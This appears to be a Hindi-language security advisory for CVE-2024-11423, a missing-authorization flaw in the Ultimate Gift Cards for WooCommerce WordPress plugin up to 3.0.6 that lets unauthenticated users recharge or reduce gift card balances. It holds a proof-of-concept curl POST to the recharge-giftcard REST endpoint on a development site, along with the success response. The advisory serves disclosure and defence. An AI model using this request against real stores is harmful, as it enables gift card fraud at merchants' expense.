CVE-2024-11423

Ultimate Gift Cards for WooCommerce <= 3.0.6 - प्राधिकरण की कमी से अनंत धन गड़बड़ी

विवरण

WordPress प्लगइन Ultimate Gift Cards for WooCommerce – WooCommerce गिफ्ट कार्ड और गिफ्ट वाउचर बनाएं, डिजिटल गिफ्ट कूपन रिडीम करें और प्रबंधित करें। गिफ्ट सर्टिफिकेट प्रदान करें, गिफ्ट कार्ड शेड्यूल करें, और व्यक्तिगत टेम्पलेट्स के साथ एडवांस कूपन का उपयोग करें – 3.0.6 तक के सभी संस्करणों में /wp-json/gifting/recharge-giftcard जैसे कई REST API एंडपॉइंट्स पर क्षमता जांच के अभाव के कारण डेटा के अनधिकृत संशोधन के प्रति संवेदनशील है। यह अप्रमाणित हमलावरों को भुगतान किए बिना गिफ्ट कार्ड बैलेंस रिचार्ज करने के साथ-साथ बिना कुछ खरीदे गिफ्ट कार्ड बैलेंस घटाने में सक्षम बनाता है।

विवरण

• प्रकार: प्लगइन
• Slug: woo-gift-cards-lite
• प्रभावित संस्करण: 3.0.6
• CVSS स्कोर: 7.5
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• CVE: CVE-2024-11423
• स्थिति: सक्रिय

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}